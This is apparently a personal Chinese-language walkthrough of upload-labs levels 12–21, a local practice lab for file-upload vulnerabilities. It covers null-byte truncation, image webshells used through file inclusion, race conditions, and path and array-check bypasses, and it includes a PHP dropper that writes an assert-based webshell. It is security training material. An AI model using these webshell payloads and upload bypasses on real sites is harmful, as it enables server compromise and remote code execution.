白名单绕过
Less-12-%00截断(GET路径)
失败-我的php版本高于5.3.29
%00截断条件
php版本小于5.3.29 修改php.ini的magic_quotes_gpc为OFF状态
GET保存路径%00截断-加%00把保存路径%00后面的截断
Less-13-%00截断(POST路径)
失败-我的bp无法将%00 url解码成口及我的php版本高于5.3.29
.POST保存路径%00进行url解码,变成口
GET会自动解码,将空格变为%20
POST不会解码
%00右键
Less-14-图片木马
图片木马,png好点,得有文件包含路径漏洞才能用
制作图片马:copy web.png /b + shell.php /a webshell.png web.png
也可以使用notepad++打开图片在最后加入木马
http://127.0.0.1/upload-labs-master/include.php?file=upload/3620220726144603.png
Less-15-图片木马
得到图片信息,图片马
与14关同样的手法
Less-16-图片木马
这个靶场出现bug,换一个靶场
与14关同样的手法
Less-17-条件竞争
抓包
开始攻击,换个浏览器不断访问
http://127.0.0.1/upload-labs-master/include.php?file=upload/webshell.png
Less-18-二次渲染-条件竞争
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$ext_arr = array('jpg','png','gif');
$file_name = $_FILES['upload_file']['name'];
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_ext = substr($file_name,strrpos($file_name,".")+1);
$upload_file = UPLOAD_PATH . '/' . $file_name;
if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;
}else{
$msg = "只允许上传.jpg|.png|.gif类型文件!";
unlink($upload_file);
}
}else{
$msg = '上传出错!';
}
}
创建x.php
<?php file_put_contents('shell.php','<?php @assert($_POST['x']);?>'); ?>
上传抓包
访问127.0.0.1/upload-labs-master/upload/x.php,抓包
都修改有效载荷
两个同时攻击,目录出现shell.php成功
Less-19-图片马文件包含
可以用14关的做法,上传图片马配合文件包含漏洞
需要注意文件上传到upload的上一级目录下
Less-20-文件夹方式上传
文件夹方式上传- 在文件夹路径下改为upload-19.php/.
upload-19.php%00.jpg (%00解码)
抓包修改文件夹路径
改为
上传成功
Less-21-数组验证
$is_upload = false;
$msg = null;
if(!empty($_FILES['upload_file'])){
//检查MIME
$allow_type = array('image/jpeg','image/png','image/gif');
if(!in_array($_FILES['upload_file']['type'],$allow_type)){
$msg = "禁止上传该类型文件!";
}else{
//检查文件名
$file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
if (!is_array($file)) {
$file = explode('.', strtolower($file));
}
$ext = end($file);
$allow_suffix = array('jpg','png','gif');
if (!in_array($ext, $allow_suffix)) {
$msg = "禁止上传该后缀文件!";
}else{
$file_name = reset($file) . '.' . $file[count($file) - 1];
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$msg = "文件上传成功!";
$is_upload = true;
} else {
$msg = "文件上传失败!";
}
}
}
}else{
$msg = "请选择要上传的文件!";
}
xxx.php/.更保险,抓包进行修改
xxx.php上传成功